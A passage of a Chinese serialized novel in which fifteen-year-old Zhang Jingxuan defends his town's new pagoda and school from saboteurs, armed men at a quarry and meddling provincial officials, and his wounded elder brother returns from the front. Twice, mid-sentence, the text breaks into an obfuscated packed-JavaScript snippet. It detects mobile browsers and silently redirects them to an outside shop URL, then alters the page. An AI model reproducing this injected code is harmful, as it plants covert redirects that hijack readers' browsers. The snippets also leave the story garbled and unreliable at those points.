张静轩重重点头。 夜里,他独自走到青云河边。河水在月光下缓缓流淌,像时间的河,带走一切,又带来一切。他想起大哥带他来这里钓鱼的时光,想起大哥教他射箭的样子,想起大哥离家那天的背影。 那些记忆,如今都成了珍宝。 他从怀里掏出那封信,又看了一遍。然后,划燃火柴,把信烧了。火光在夜色里跳跃,照亮他年轻的脸。那张脸上有泪,但更多是坚定。 灰烬飘进河里,随水流去。 带走了悲伤,留下了誓言。 张静轩站在河边,看着远去的火光。他知道,从今夜起,他肩上的担子更重了。 但他不怕。 因为这片山河,需要有人守护——用生命,用热血,用这十五岁的、正在成长的肩膀。 远处,文峰塔的工地上,还有微弱的灯火。 那是光,是希望。 他转身,往回走,脚步很稳。 20. 第二十一章 余烬 晨雾像一层薄纱,轻轻覆在青石镇上空。张静轩推开院门时,檐下的灯笼还亮着,昏黄的光在雾里晕开一团暖意。他站在门口,深深吸了口带着露水清甜的空气,然后迈步往学堂走。 脚步很稳,但心里那封信,还在烧。 福伯默默跟在他身后,老管家今日没说话,只是偶尔抬手,用袖子擦擦眼角。两人穿过雾气弥漫的街道,早点铺子刚生起火,炊烟混在雾里,分不清哪是烟哪是雾。 祠堂里已经亮起了灯。苏宛音正站在黑板前,用抹布擦拭板面。听见脚步声,她回头,看见张静轩,手里动作停了停。 “静轩。”她轻声说,“你……知道了?” 张静轩点头。消息传得真快,连先生都知道了。 “你大哥……”苏宛音走过来,想说什么,又停住,最后只是拍了拍他的肩,“节哀。” “他没死。”张静轩说,“信上写的是‘或为绝笔’,不是‘绝笔’。” 苏宛音愣了愣,随即点头:“对,没死。一定还活着。” 这话是安慰,也是希望。张静轩知道,但他愿意信——只要没见到尸体,大哥就还活着。 孩子们陆续到了。水生第一个冲进来,看见张静轩,眼睛一亮,但很快又暗下去。他走到张静轩面前,小声说:“静轩哥,俺爹说……说你大哥是英雄。” 张静轩摸摸他的头:“嗯。” 小莲也来了,怯怯地递过来一朵野花——黄色的,不知名,但开得正好。“静轩哥,”她声音细细的,“这个……给你。” 张静轩接过花,别在衣襟上。花很香,淡淡的,像春天的味道。 上课钟响了。程秋实走进来,看见张静轩,欲言又止,最后只是说:“今天第一节课,我们讲文天祥的《正气歌》。” 他翻开课本,开始念:“天地有正气,杂然赋流形……”声音有些哑,但很坚定。 孩子们跟着念。稚嫩的童音在祠堂里回荡,混着程秋实低沉的嗓音,有种奇特的和谐。张静轩坐在后排,看着黑板上那些字——那是大哥从小就背过的诗,是张家书房里那幅《山河图》上题过的词。 “时穷节乃见,一一垂丹青。”程秋实讲到这里,停顿了一下,看向张静轩,“有些人,生在太平年月,或许平凡一生。但时局艰难时,他们的气节,就会显现出来,像丹青一样,永远留在史册上。” 孩子们似懂非懂,但都坐得笔直。水生举手:“先生,张大哥就是这样的人吗?” 程秋实点头:“是。” 课堂里安静下来。阳光透过窗棂照进来,照在孩子们的脸上,那些脸上有懵懂,有崇敬,也有一种渐渐成型的、属于这个时代孩子的早熟。 课间时,张静轩走到院子里。雾已经散了,阳光很好。文峰塔的工地上传来叮当的敲打声,塔身已经砌到第三层,在蓝天下显出了轮廓。 周大栓从工地那边跑过来,满头大汗:“小少爷,塔那边……出了点事。” “什么事?” “昨夜守夜的人说,听见有动静。今早去看,发现脚手架被人动过——有几根横木松了,差点出事。”周大栓压低声音,“要不是发现得早,今天上去干活的,怕是要摔下来。” 张静轩心头一紧。沈特派员的警告,这么快就应验了? “人没事吧?” “没事。但这事……得查。”周大栓搓着手,“李铁匠在查脚印,但昨晚下了点雨,脚印糊了,看不清。” 正说着,李铁匠也过来了,脸色铁青:“静轩,我看过了,横木的榫头被人撬过,是故意的。这他娘的是要人命啊!” 故意破坏。张静轩握紧了拳。是谁?陈继业的余党?还是“老鬼”的人? “从今晚起,加派人手。”他说,“守夜的人要带家伙,真有人来,别客气。” 周大栓和李铁匠点头。两人商量着重新排班,张静轩则往工地走去。 工地上,工人们还在忙碌。塔身已经有三丈高了,脚手架搭得密密麻麻。张静轩仰头看着,阳光刺眼,他眯起眼。这么高的塔,如果摔下来…… “小少爷。”一个老石匠走过来,手里拿着凿子,“您来看,这儿有点奇怪。” 张静轩跟着他走到塔基处。老石匠指着石基侧面一块青石:“这块石头,是昨天新砌的。但您看这儿——”他指着石头边缘一道浅浅的刻痕,“这刻痕,不是凿子凿的,像是……刀划的。” 张静轩蹲下身仔细看。刻痕很浅,但清晰,是一个变体的“禁”字符——和祠堂梁上那个,一模一样。 又是这个符号。 他想起秦怀安说的话,想起三年前秦先生的死,想起这三年来的种种阻挠。这个符号,像一条线,串起了所有黑暗。 “这石头从哪儿来的?”他问。 “从青云河上游的石场运来的。”老石匠说,“昨天早上才到,下午砌上去的。” 也就是说,刻痕是在石场就有的。是谁刻的?石场的工人?还是…… “石场那边,谁管?” “赵家的石场,老板叫赵老四。”老石匠说,“这人……以前跟陈继业有过往来。” 线索串起来了。陈继业虽然死了,但他的人还在。赵老四可能就是其中一个。 “这事先别声张。”张静轩站起身,“继续施工,但所有新运来的石头,都要仔细检查。” 他离开工地,往镇公所走。路上,他遇见陈老秀才。老人拄着拐杖,正慢慢往家走,看见他,停下脚步。 “静轩。”陈老秀才神色凝重,“我听说塔那边出事了?” “一点小问题,已经处理了。”张静轩说,“陈老先生,您知道赵老四这个人吗?” 陈老秀才脸色变了变:“赵老四?你问他做什么?” “塔的石头是从他石场运来的。” 陈老秀才沉默片刻,叹了口气:“赵老四……早年是个石匠,手艺好,但嗜赌。后来欠了陈继业一大笔钱,陈继业帮他还了,他就成了陈继业的人。”他顿了顿,“陈继业死后,我以为他会收敛,没想到……” “他还跟什么人来往?” “这……不清楚。”陈老秀才摇头,“但镇上有人看见,前些天有陌生人在他石场出入。那些人,不像本地人。” 不像本地人——可能是“老鬼”的人,也可能是别的势力。 张静轩谢过陈老秀才,继续往镇公所走。他需要找父亲商量。这事,不能再等闲视之。 镇公所里,张老太爷正在和卢明远说话。见他进来,两人都停下话头。 “静轩,”张老太爷说,“塔的事,我听说了。” “爹,我想去趟石场。”张静轩直接说。 “不行。”张老太爷断然拒绝,“太危险。” “但不去查,隐患更大。”张静轩说,“赵老四如果真跟那些人勾结,今天能破坏脚手架,明天就能干更坏的事。我们不能总是被动防守。” 卢明远插话:“静轩说得对。不过,不能一个人去。我带几个人跟你一起去。” 张老太爷看着儿子,又看看卢明远,良久,叹气:“去可以,但要带够人。赵哥也去。另外,跟孙科长——虽然调走了,但他在省城还有人——打个招呼,万一有事,有个照应。” 计划定下。第二天一早,张静轩、卢明远、赵哥,还有周大栓带的四个船工,一起往青云河上游的石场去。 石场离青石镇十五里,在一片山坳里。马车走到山口就进不去了,只能步行。山路崎岖,两旁是茂密的松林,阳光透过枝叶洒下来,斑斑驳驳。 赵哥走在最前面,手始终按在腰间。周大栓和船工们拿着扁担——既是工具,也是武器。张静轩走在中间,怀里揣着那把匕首。 走了约莫半个时辰,听见了叮叮当当的敲打声。转过一个山弯,石场出现在眼前——一片开阔地,堆满了大大小小的石料,几十个工人正在干活。远处有几间茅屋,应该是住人的地方。 一个黑瘦的汉子看见他们,走过来:“几位,找谁?” “找赵老板。”卢明远说。 “赵老板不在。”汉子打量他们,“有什么事?” “买石头。”卢明远说,“青石镇修塔,需要上好的青石。” 汉子脸色缓了缓:“买石头啊……那等等,我去叫管事的。” 他转身走了。张静轩趁机观察石场。工人们都在埋头干活,看起来很正常。但远处那几间茅屋,门窗紧闭,里面似乎有人影晃动。 很快,一个四十来岁、留着短须的男人走出来。这就是赵老四了。他脸上堆着笑,但眼神闪烁。 “几位是青石镇的?幸会幸会。”赵老四拱手,“要买石头?好说好说。咱们石场的石头,那可是远近闻名……” 卢明远和他周旋。张静轩则假装看石头,在石场里走动。赵哥跟在他身边,警惕地观察四周。 石料堆得很高,像一座座小山。张静轩走到一堆新开采的石头前,仔细查看。果然,在一块石头的侧面,又发现了那个“禁”字符。 他不动声色,继续走。在一间工具棚的角落里,他看见了一样东西——半截烟蒂,是洋烟,省城才有的牌子。青石镇的人,大多抽旱烟或水烟,很少有人抽洋烟。 他捡起烟蒂,揣进口袋。 这时,卢明远那边谈得差不多了。赵老四答应三天后送一批石料到青石镇,价格还算公道。 “赵老板,”张静轩忽然开口,“您这石场,最近有生人来吗?” 赵老四脸色微变:“生人?没有啊。都是老主顾。” “可我听说,前几天有陌生人在这儿出入。” “那是……那是来看石头的客商。”赵老四强笑,“做生意的,哪儿都有。” 张静轩没再追问。他知道问不出什么,反而打草惊蛇。 一行人离开石场。走出山口,上了马车,赵哥才开口:“那几间茅屋里,至少有五六个人。我从窗户缝里看见,桌子上有枪。” “枪?”卢明远一惊。 “对。长枪,□□都有。”赵哥脸色凝重,“一个石场,要那么多枪干什么?” 张静轩掏出那截烟蒂:“还有这个。洋烟,省城来的。” 事情很明显了——赵老四的石场,现在不只是石场,还是某个势力的据点。 “回去后,”张静轩说,“要加强防备。塔的工地、学堂、码头,都要加派人手。还有,得通知孙科长在省城的人,查查最近有没有生面孔来青石镇。” 回到镇上,已是傍晚。夕阳把青云河染成金色,河水缓缓流淌,像什么都没发生过。但张静轩知道,平静下面,暗流汹涌。 他先去学堂。苏宛音和程秋实还在,听说石场的事,都变了脸色。 “他们要干什么?”程秋实声音发颤。 “还不清楚。”张静轩说,“但肯定不是好事。从今晚起,先生们不要单独留在学堂,放学就回家。孩子们也是,必须有家长接送。” 苏宛音点头,但眼神里有忧虑:“静轩,这样……要持续多久?” “不知道。”张静轩实话实说,“但只要我们防备得好,他们就不敢轻举妄动。” 从学堂出来,他去了工地。周大栓和李铁匠已经重新安排了守夜的人——今晚八个人,分两班,都带着家伙。塔的脚手架也重新检查加固了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140662|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小少爷,”周大栓说,“你放心,有我们在,一只苍蝇都飞不进来。” 张静轩点头。他看着正在修建的文峰塔,塔身又高了些,在暮色里像一个沉默的巨人。这个巨人,承载着青石镇几代人的心愿,也成了某些人的眼中钉。 但越是这样,越要修下去。 修得更高,更稳,让所有人都看见——光明,不会被黑暗吓倒。 夜里,张静轩又在灯下写信。这次是给孙科长的——虽然他调走了,但省城还有他的人。信里写了石场的事,写了那些枪,写了洋烟蒂,也写了那个“禁”字符。 写完信,他吹熄灯,躺在床上。窗外月光很好,但他睡不着。脑子里翻来覆去的,是大哥的信,是石场的枪,是那个阴魂不散的符号。 他想起三年前,大哥离家前夜,也是在这样一个月光很好的晚上。大哥坐在后院,擦拭那把牛角弓。他问大哥:“哥,你为什么要去当兵?” 大哥说:“因为有些人,不想让咱们好好过日子。我得去,把那些人赶走。” 现在,大哥在前线赶外敌。他在后方,也要赶走那些破坏者。 这是他们兄弟的战场,不同的战场,一样的战斗。 第二天,省城回信了。是孙科长托人捎来的,很短:“已知悉,正在查。青石镇加强防备,勿主动出击。等我消息。” 果然,孙科长也在查。张静轩稍微安心了些。 接下来的几天,青石镇表面平静,但底下紧绷。守夜的人彻夜不眠,学堂的孩子们被严格接送,连码头上卸货的工人,都格外警惕。 文峰塔继续修建。第四层,第五层……塔越来越高,在青石镇的任何一个角落,都能看见它的身影。塔顶已经预留了挂铜铃的位置,等全部完工,还要挂一盏灯——张静轩坚持要挂的,一盏很亮的灯。 第六天傍晚,变故来了。 守码头的老李头慌慌张张跑来张家:“小少爷,码头……码头来了条船,不是咱们这儿的船!” 张静轩立刻跟着他去。码头边,停着一条乌篷船,船身漆得乌黑,没挂旗。船上下来三个人,都穿着短褂,腰间鼓囊囊的。 为首的是个疤脸汉子——正是张静轩在省城茶棚见过,后来在土地庙差点撞上他们的那个。 疤脸汉子看见张静轩,咧嘴一笑:“小子,又见面了。” “你们来干什么?”张静轩问。 “不干什么,看看。”疤脸汉子四下打量,“听说青石镇在修塔?好事啊。我们老板说了,也想捐点钱,积点德。” “你们老板是谁?” “这你就别管了。”疤脸汉子从怀里掏出一包银元,扔在码头上,“这点钱,算是我们老板的心意。收着,好好修塔。” 说完,他转身就要上船。 “等等。”张静轩叫住他,“钱拿走,我们不需要。” 疤脸汉子回头,眼神冷下来:“小子,别给脸不要脸。” “脸是自己挣的,不是别人给的。”张静轩说,“青石镇的塔,青石镇自己修。你们的钱,我们不要。” 两人对视。码头上的人渐渐围过来,周大栓、李铁匠都来了,手里拿着家伙。疤脸汉子那边三个人,也把手按在腰间。 气氛一触即发。 就在这时,远处传来马蹄声。两辆警用马车疾驰而来,停在码头边。车上跳下十几个警察,为首的是个陌生面孔,但穿着警长制服。 “都不许动!”警长举枪,“省警务厅办案!” 疤脸汉子脸色变了:“你们……” “赵老四已经招了。”警长冷冷道,“你们在石场藏匿枪支,图谋不轨。现在,跟我们走一趟。” 疤脸汉子还想说什么,但警察已经围上来,缴了他们的械,铐上手铐。 “张同学,”警长转向张静轩,“孙科长托我转告你:省城那边,正在收网。‘老鬼’的案子,很快会有结果。青石镇这边,你们可以安心了。” 张静轩松了口气。原来孙科长一直在行动。 疤脸汉子被押上马车。临走前,他回头看了张静轩一眼,眼神怨毒,但更多的是无奈——大势已去。 马车走了。码头上一片寂静,只有青云河的水声,哗哗地响。 周大栓抹了把汗:“他娘的,总算完了。” 李铁匠也长舒一口气:“这下,可以安心修塔了。” 张静轩站在码头边,看着远去的马车。夕阳西下,天空一片橘红。文峰塔在暮色里静静矗立,已经修到第六层了,塔尖直指苍穹。 是啊,可以安心修塔了。 但真的完了吗? 他不知道。 他只知道,黑暗不会彻底消失,但只要光明在,就要战斗。 就像这塔,只要立着,就是光明的象征。 他转身,往家走。 脚步很稳。 像塔。 像山。 像这片土地上,永不屈服的生命。 前方,张家的灯火,温暖而明亮。 而更远处,文峰塔的轮廓,在暮色里渐渐模糊,但轮廓清晰,像一枚指向未来的箭。 他知道,明天太阳照常升起。 而他们,还要继续修塔,继续办学,继续生活。 继续,在这片多灾多难但生生不息的山河上,写下属于他们这一代人的篇章。 一定会的。 他这样想着,推开了家门。 屋里,父亲在等他。 灯光下,父子俩对坐着,很久没说话。 但心里,都懂。 窗外,夜幕完全降临。 但星光,很亮。 很亮。 21. 第二十二章 塔顶 文峰塔封顶的那天,青石镇万人空巷。 第七层最后一块青石落下时,工匠们敲响了铜锣。哐——哐——哐——声音在青云河两岸回荡,惊起一群白鹭。人们仰头望着,塔在晨光里泛着温润的光,七层八角,飞檐翘角,每一层都挂了铜铃,风一吹,叮当作响。 陈老秀才拄着拐杖站在最前面,老泪纵横:“七十年了……七十年了……塔终于又立起来了!” 张老太爷扶着他:“陈老,塔立起来了,您的心愿了了。” “了了,了了。”陈老秀才抹着泪,“等塔灯挂上,文曲星就回来了,咱们青石镇,又能出读书人了!” 封顶仪式很简单。张老太爷带着几个乡绅,在塔基前上了香,祭拜了文昌帝君。然后,工匠们开始搭最后的脚手架,准备安装塔刹和铜铃。 张静轩站在人群中,看着塔。这座塔,从开挖地基到封顶,历时三个月。三个月里,青石镇经历了太多——抓马三、救被拐者、破陈继业案、大哥的绝笔信、石场的枪、疤脸汉子的威胁……塔每高一层,青石镇就多一分安宁。 如今塔成了,像一个守护神,静静矗立在青云河边。 “静轩哥,”水生挤到他身边,“塔这么高,能上去吗?” “能。”张静轩说,“等塔刹装好,铜铃挂上,咱们都上去。” “俺爹说,塔顶能看到十里外的省城。” “太远了,看不到省城,但能看到整个青石镇。” 水生仰着头,脖子都酸了:“那俺家的船呢?” “能看到。青云河像条带子,船像带子上的蚂蚁。” 孩子笑了,笑得灿烂。这是属于孩子的快乐,简单而纯粹。 仪式结束后,张静轩去了学堂。今天虽是塔封顶,但学堂照常上课。苏宛音在教孩子们背《塔赋》——那是陈老秀才写的,文绉绉的,但孩子们背得很认真。 “……巍巍乎若青云之志,荡荡乎如流水之德。镇山河而佑乡土,承文脉而启后昆……” 稚嫩的童音在祠堂里回荡,混着远处塔上工匠的吆喝声,有种奇特的和谐。张静轩站在窗外听着,心里很平静。这就是他想要守护的——孩子们读书的声音,工匠劳作的声音,青石镇日常的声音。 课间时,苏宛音走出来,脸上有疲惫,但眼神明亮。 “塔封顶了。”她说。 “嗯。”张静轩点头,“等塔灯挂上,就更好了。” “静轩,”苏宛音忽然问,“你大哥……有消息了吗?” 张静轩摇头。一个月了,大哥那边杳无音信。那封绝笔信之后,再没来信。父亲托人去打听,只说前线战事激烈,伤亡名单还没公布。 “会有的。”苏宛音轻声说,“好人会有好报。” 这话是安慰,但张静轩愿意信。他想起大哥信里的话:“为国捐躯,死得其所。”大哥不怕死,但他希望大哥活着。 下午,塔上开始安装塔刹。塔刹是铜铸的,宝瓶形状,阳光下金光闪闪。工匠们用滑轮吊上去,一点点安装到位。这个过程很慢,也很危险,但工匠们很熟练——他们都是老手,修过庙,建过桥,知道怎么在高空作业。 张静轩在塔下看着。塔很高,工匠们的身影在塔顶显得很小,像蚂蚁。但他们很稳,一步一步,把沉重的铜构件安装到位。 忽然,一个工匠脚下一滑,差点掉下来。底下的人惊呼,但那工匠抓住了脚手架,稳住了。张静轩心头一跳,手心出了汗。 “没事!”塔上的工匠喊,“站稳了!” 虚惊一场。工匠们继续工作。张静轩却想起了石场那些被撬松的横木,想起了疤脸汉子怨毒的眼神。虽然孙科长说省城在收网,但真的安全了吗? 他转身往镇公所走。有些事,得问问父亲。 镇公所里,张老太爷正在看一封信,脸色凝重。见儿子进来,把信递给他。 “省城来的。”张老太爷说,“‘老鬼’的案子……结案了。” 张静轩接过信。是孙科长托人捎来的,写得很隐晦,但意思明白:刘秘书“自杀”后,线索断了。上面有人施压,要求结案。那些地契、借据,都被“归档封存”。牵扯到的几个官员,有的调职,有的“病退”,但都没受实质性处罚。 “就这样……完了?”张静轩不敢相信。 “表面完了。”张老太爷说,“但孙科长说,有人在继续查。只是要暗中进行,不能再明着来。” “那周记者呢?” “放出来了,但被报社停职了。说他‘报道失实,影响稳定’。” 张静轩握紧了信纸。这就是现实——黑暗不会轻易被清除,它会用更隐蔽的方式,继续存在。刘秘书死了,但“老鬼”还在。陈继业死了,但他背后的势力还在。 “爹,”他轻声说,“咱们……还要小心。” “我知道。”张老太爷点头,“塔封顶了,但守塔更难。从今天起,要安排人轮流守塔,日夜不停。” 父子俩正说着,卢明远匆匆进来:“张伯父,静轩,码头那边……又来了条船。” 又是船?张静轩心头一紧。 “什么人?” “说是省城教育厅的,来考察学堂。”卢明远说,“但船的样子……跟上次疤脸汉子那条很像。” 三人立刻往码头赶。码头边,果然停着一条乌篷船,船身漆得乌黑,但挂着旗——省教育厅的旗。船上下来两个人,都穿着中山装,提着公文包。 为首的是个戴眼镜的中年人,看见张老太爷,微微躬身:“张公,久仰。我是教育厅的督学,姓郑。” 又姓郑?张静轩想起之前那个卡拨款的郑副厅长。 “郑督学,”张老太爷还礼,“不知大驾光临,有何贵干?” “例行考察。”郑督学笑容可掬,“听说青石镇新式学堂办得有声有色,省厅特派我来看看,总结经验,以便推广。” 话说得冠冕堂皇,但张静轩总觉得不对劲——省教育厅刚结案,就派人来考察?时机太巧了。 “欢迎考察。”张老太爷说,“请。” 一行人往学堂走。路上,郑督学不时问这问那:学堂有多少学生?几个先生?开什么课?用什么教材?张静轩一一回答,不卑不亢。 到了学堂,正是课间。孩子们在院子里玩耍,看见生人,都好奇地围过来。水生胆子大,上前问:“先生,您是谁?” 郑督学笑了,摸摸他的头:“我是省城来的,看看你们学堂办得好不好。” “俺们学堂可好了!”水生挺起小胸脯,“苏先生教算学,程先生教国文,静轩哥还教俺们射箭!” “射箭?”郑督学看向张静轩,“学堂还教射箭?” “强身健体。”张静轩说,“身体好了,才能好好读书。” 郑督学点点头,没再问。他走进课堂,看了看黑板上的字,翻了翻学生的作业本,又问了苏宛音和程秋实几个问题。整个过程很客气,但张静轩能感觉到,他的目光在四处打量——不只是看教学,更像在观察什么。 考察持续了一个时辰。临走时,郑督学对张老太爷说:“张公,学堂办得确实不错。省厅会考虑加大支持力度。不过……”他顿了顿,“有些细节,还需要完善。比如安全——我听说,前阵子学堂出过事?” 果然来了。张静轩心里冷笑。 “一点小意外,已经处理了。”张老太爷说。 “那就好。”郑督学微笑,“孩子是国家的未来,安全第一。我会把考察情况如实上报,相信省厅会有进一步指示。” 送走郑督学,卢明远低声说:“这个人……有问题。” “我知道。”张老太爷说,“但他顶着省厅的名头,咱们不能怠慢。静轩,你去查查他的船。” 张静轩和赵哥去了码头。郑督学的船已经走了,但码头上还有痕迹——船停泊时,在淤泥里留下了清晰的印子。赵哥蹲下身仔细看,脸色变了。 “这船……吃水很浅。”他说,“如果是教育厅的公务船,应该载着文件、物资,吃水会深些。但这船的印子,跟上次疤脸汉子那条差不多。” “你是说……” “船是空的,或者只载了人。”赵哥站起来,“他们根本不是来考察,是来探路的。” 探路?探什么路?张静轩想起石场那些枪,想起疤脸汉子扔在码头上的银元。这些人,到底想干什么? 回到张家,他把发现说了。张老太爷沉吟良久,说:“不管他们想干什么,咱们做好准备。从今晚起,加派人手守塔、守学堂、守码头。另外,通知街坊们,最近少出门,尤其晚上。” 夜幕降临,青石镇进入了高度戒备状态。周大栓和李铁匠组织了四十个青壮,分成四组,每组十人,轮流巡逻。塔的工地上搭了棚子,守夜的人就住在里面,刀、棍、甚至几杆土枪,都准备好了。 学堂那边,苏宛音和程秋实暂时住到了张家——这是张老太爷坚持的,怕他们出事。孩子们放学后,家长直接接回家,不在外逗留。 整个青石镇,像一张绷紧的弓。 夜里,张静轩站在自家院子里,看着远处的文峰塔。塔已经完工了,塔刹在月光下泛着冷光,塔灯还没挂,但塔身已经亮起来了——是守夜人点的灯笼,挂在每一层的飞檐下,远远看去,像一串明珠。 很美,但美得让人心慌。 他知道,这是暴风雨前的宁静。 第二天,省教育厅的公函到了。措辞很客气,肯定了青石镇学堂的办学成绩,但提出了几点“建议”:一是教材需“统一审核”,二是先生资质需“重新认证”,三是学堂安全需“全面评估”。公函末尾说,下周会派工作组进驻,“协助整改”。 “协助整改”——这四个字,意味深长。 张静轩看着公函,冷笑:“终于来了。” “他们要干什么?”卢明远问。 “接管。”张老太爷说得很直接,“先找茬,然后派自己的人进来,慢慢把学堂变成他们的。” “那怎么办?” “拖。”张老太爷说,“拖一天是一天。工作组来了,好好接待,但该做什么还做什么。他们提要求,咱们可以‘研究研究’‘考虑考虑’。官场那套,我也会。” 接下来的几天,青石镇表面平静,但底下暗流汹涌。街坊们都知道了省厅要来人的事,议论纷纷: “好好的学堂,他们凭什么插手?” “还不是眼红咱们办得好!” “听说那个郑督学,是郑副厅长的堂弟……” “难怪!一丘之貉!” 民气愤慨,但无济于事。省厅的公函是正式文件,不能不接。 就在工作组要来的前一天,转机出现了。 傍晚时分,一辆马车驶进青石镇。马车很普通,但赶车的人穿着军装。马车在张家门口停下,车上下来一个人——穿着褪色的军装,左臂缠着绷带,右手拄着拐杖,脸上有伤疤,但眼神明亮。 是大哥。 张静轩正在院子里练箭,看见那个人影,手里的弓掉了。 “大哥……” 张静远拄着拐杖走过来,脚步有些瘸,但很稳。他走到弟弟面前,笑了笑:“静轩,长高了。” 张静轩扑上去抱住大哥,眼泪止不住地流。几年了,他以为再也见不到大哥了。 “别哭。”张静远拍拍他的背,“哥这不是回来了吗?” 张老太爷闻声出来,看见儿子,老泪纵横:“静远……你还活着……” “活着。”张静远说,“受了伤,在医院躺了一个月。伤好了,就请假回来了。” 父子三人抱在一起,久久没分开。 夜里,张家灯火通明。福伯做了满满一桌菜,都是张静远爱吃的。周大栓、李铁匠、陈老秀才、卢明远都来了,苏宛音和程秋实也在。众人围坐一桌,听张静远讲前线的事。 “……那一仗打得很惨,我们连一百二十人,活下来的不到三十个。”张静远声音平静,但握着酒杯的手在抖,“我中了三枪,两枪在腿上,一枪在肩上。倒下去的时候,以为死定了。后来是担架队把我拖下来的,在医院躺了一个月,才捡回条命。” 众人听得心惊。张静轩看着大哥——军装下的身体,瘦了很多,但脊背挺直。脸上的伤疤是新的,从左眉骨划到脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140663|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊,像一条蜈蚣。 “大哥,”他轻声问,“还回去吗?” “回。”张静远说,“伤好了就回。仗还没打完。” 这话说得平淡,但字字千钧。张老太爷的眼眶又红了,但没说什么,只是给儿子夹菜。 饭后,张静轩带大哥去看文峰塔。月光下,塔静静矗立,像守护神。 “塔修好了。”张静轩说,“明天挂塔灯。” “好。”张静远仰头看着,“等灯挂上了,我在前线也能看见。” “大哥,”张静轩忽然问,“你在前线,怕吗?” 张静远沉默片刻:“怕。每次冲锋都怕。但怕也得冲——因为后面就是老百姓,就是像青石镇这样的地方。我们退了,这些地方就没了。” 这话和张静轩在省城年会上说的一样。兄弟俩,在不同的战场,明白了一样的道理。 “对了,”张静远从怀里掏出个小布包,“这个,给你。” 张静轩打开,里面是一枚弹壳,已经磨得发亮,上面刻着字:“守土”。 “这是我从战场上捡的。”张静远说,“刻了字,留个念想。你在后方,也是守土。” 张静轩握紧弹壳。金属冰凉,但很快被体温焐热。 兄弟俩在塔下站了很久,直到夜深。 第二天,挂塔灯的日子。 塔灯是特制的,玻璃罩,铜架子,里面能点三根蜡烛,外面还能防风。工匠们用滑轮把灯吊到塔顶,安装在塔刹下方。张静远亲自上去安装——他虽然腿脚不便,但坚持要上去。 “我在前线,看不见青石镇的灯。”他说,“但我装的灯,前线的人能看见。” 灯装好了。正午时分,张老太爷点燃了第一根蜡烛。火焰跳动,透过玻璃罩,发出温暖的光。 “塔灯亮了——”福伯拉长了声音。 青石镇的人都仰头看着。七层高的塔,塔顶的灯像一颗星星,在白天也清晰可见。风吹过,铜铃叮当作响,混着人们的欢呼声。 就在这时,码头那边传来消息:省教育厅的工作组来了。 一艘官船停在码头,下来五个人,都穿着中山装,提着公文包。为首的是个矮胖的中年人,自称是王组长。 张静轩和父亲去迎接。王组长很客气,但眼神倨傲。 “张公,”他说,“省厅很重视青石镇学堂,特派我们来‘协助’工作。这是我们的任命书。” 任命书上盖着省教育厅的红章,确实是真的。 “欢迎。”张老太爷说,“不过今天塔灯初亮,镇上有庆祝活动。工作的事,可否明日再谈?” 王组长看了看远处的人群,又看了看高耸的文峰塔,点头:“也好。那就明日。” 工作组被安排在镇公所的客房住下。张静轩派人暗中盯着——他发现,工作组的人虽然表面客气,但私下里在悄悄打听青石镇的情况,尤其是学堂的经费来源、先生背景、学生家庭。 果然来者不善。 夜里,张静轩和大哥在书房商量。 “他们是冲着学堂来的。”张静轩说,“想接管,或者……搞垮。” “那就让他们接不了,也垮不了。”张静远说,“我在前线打仗,知道一个道理——最好的防守,是进攻。” “怎么进攻?” 张静远笑了,笑容里有些狡黠:“明天,我带他们去塔上看看。” 第二天,王组长带着工作组来到学堂。他们检查了教材,翻看了教案,又听了苏宛音和程秋实的课。整个过程很正式,但挑不出毛病——学堂的一切都合规。 课后,张静远拄着拐杖出现了。他穿着军装,虽然腿脚不便,但军人的气质掩盖不住。 “王组长,”他敬了个军礼,“我是张静远,青石镇人,在前线当兵。听说省厅来人考察学堂,我想请各位去塔上看看——从塔顶看青石镇,看得清楚。” 王组长一愣,但不好拒绝。 一行人上了塔。塔有七层,楼梯很窄,爬起来费力。王组长爬到第三层就喘气了,但张静远腿脚不便,却爬得很稳。 到了塔顶,视野豁然开朗。整个青石镇尽收眼底——青云河像条玉带,码头像带子上的扣子,学堂的屋顶青灰一片,街巷纵横,炊烟袅袅。 “王组长,”张静远指着远处,“您看,那就是我们的学堂。那里有二十八个孩子,他们的父母,有的是船工,有的是铁匠,有的是卖豆腐的。他们送孩子来读书,不是想让孩子当官发财,是想让孩子识几个字,明几个理,将来活得有尊严。” 王组长没说话。 “我在前线打仗,”张静远继续说,“每天都有兄弟倒下。我们为什么打?就是为了让像青石镇这样的地方,能安安稳稳地过日子,让孩子能安安稳稳地读书。” 他转过身,看着王组长:“省厅要‘协助’办学,我们欢迎。但要是想把这所学堂变成某些人的工具,或者想毁了它——”他顿了顿,“青石镇的老百姓不答应,我在前线的兄弟们,也不答应。” 这话说得硬气。王组长脸色变了变,但强笑道:“张先生误会了,我们真是来帮忙的……” “那就好。”张静远笑了,“那请王组长回去禀报:青石镇学堂,会一直办下去。不管谁来,不管什么理由,都办下去。” 从塔上下来,工作组的脸色都不好看。当天下午,他们就收拾东西走了,说“考察结束,回去汇报”。 官船离开码头时,张静轩和大哥站在岸边看着。 “他们会善罢甘休吗?”张静轩问。 “不会。”张静远说,“但至少,他们知道青石镇不是软柿子。下次再来,会掂量掂量。” 官船渐行渐远,最后消失在青云河的拐弯处。 张静轩松了口气。这场危机,暂时过去了。 但大哥说得对——不会善罢甘休。黑暗不会消失,只会换种方式再来。 